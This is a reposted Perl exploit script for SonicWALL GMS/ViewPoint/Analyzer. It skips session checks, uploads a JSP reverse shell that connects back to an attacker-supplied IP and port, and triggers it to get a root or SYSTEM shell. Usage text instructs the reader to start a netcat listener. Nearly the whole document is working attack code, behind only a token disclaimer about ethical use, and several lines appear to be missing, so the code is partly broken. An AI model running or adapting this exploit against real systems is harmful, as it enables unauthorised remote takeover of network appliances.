SonicWALL GMS/VIEWPOINT 6.x Analyzer 7.x Remote Root/SYSTEM Exploit
کد:
#!/usr/bin/perl
# Title: SonicWALL GMS/VIEWPOINT 6.x Analyzer 7.x Remote Root/SYSTEM exploit |
# Author: Nikolas Sotiriu (lofi) <lofi[at]sotiriu.de> |
# Use it only for education or ethical pentesting! The author accepts |
# no liability for damage caused by this tool. |
use HTTP::Request::Common qw(POST); |
use LWP::Protocol::https; |
my $victim = $args{h} || usage(); |
my $shellname = "cbs.jsp"; |
my $agent = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0,},); |
$agent->agent("Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0"); |
# Place your Proxy here if needed |
#$agent->proxy(['http', 'https'], 'http://localhost:8080/'); |
print "[+] Checking host ...\n"; |
my $request = POST "$victim/appliance/applianceMainPage?skipSessionCheck=1", |
Content_Type => 'application/x-www-form-urlencoded; charset=UTF-8', |
Content => [ num => "123456", |
action => "show_diagnostics", |
item => "application_log", |
my $result = $agent->request($request); |
if ($result->is_success) { |
print "[+] Host looks vulnerable ...\n"; |
print "[-] Error while connecting ... $result->status_line\n"; |
my @lines=split("\n",$result->content); |
foreach my $line (@lines) { |
if ($line =~ /OPTION VALUE=/) { |
my @a=split("\"", $line); |
my @b=split(/logs/i,$a[1]); |
print "[+] GMS Path: $gms_path\n"; |
print "[-] Couldn't get the GMS path ... Maybe not vulnerable\n"; |
if ($gms_path =~ m/^\//) { |
$gms_path=$gms_path."Tomcat/webapps/appliance/"; |
print "[+] Target ist Unix...\n"; |
$gms_path=$gms_path."Tomcat\\webapps\\appliance\\"; |
print "[+] Target ist Windows...\n"; |
print "[+] Uploading shell ...\n"; |
my $request = POST "$victim/appliance/applianceMainPage?skipSessionCheck=1", |
Content_Type => 'multipart/form-data', |
Content => [ action => "file_system", |
searchFolder => "$gms_path", |
uploadFileName => ["$shellname"] |
my $result = $agent->request($request); |
if ($result->is_success) { |
print "[+] Upload completed ...\n"; |
print "[-] Error while connecting ... $result->status_line\n"; |
print "[+] Spawning remote root/system shell ...\n"; |
my $result = $agent->get("$victim/appliance/$shellname"); |
if ($result->is_success) { |
print "[+] Have fun ...\n"; |
print "[-] Error while connecting ... $result->status_line\n"; |
open FILE, ">", "$shellname" or die $!; |
<%\@page import="java.lang.*"%> |
<%\@page import="java.util.*"%> |
<%\@page import="java.io.*"%> |
<%\@page import="java.net.*"%> |
class StreamConnector extends Thread |
StreamConnector( InputStream is, OutputStream os ) |
BufferedReader in = null; |
BufferedWriter out = null; |
in = new BufferedReader( new InputStreamReader( this.is ) ); |
out = new BufferedWriter( new OutputStreamWriter( this.os ) ); |
char buffer[] = new char[8192]; |
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) |
out.write( buffer, 0, length ); |
Socket socket = new Socket( "$lip", $lport ); |
Process process = Runtime.getRuntime().exec( "$sysshell" ); |
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); |
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); |
} catch( Exception e ) {} |
print " $0 - SonicWALL GMS/VIEWPOINT/Analyzer Remote Root/SYSTEM exploit\n"; |
print "====================================================================\n\n"; |
print " $0 -h <http://victim> -l <yourip> -p <yourport>\n"; |
print " Start your netcat listener <nc -lp 4444>\n"; |
print " -d only checks if the Host is vulnerable\n"; |
print " Nikolas Sotiriu (lofi)\n"; |
print " url: www.sotiriu.de\n"; |
print " mail: lofi[at]sotiriu.de\n"; |
-------------------------------------------------------------------------------- |
SonicWALL GMS/VIEWPOINT 6.x Analyzer 7.x Remote Root/SYSTEM exploit |
-------------------------------------------------------------------------------- |
}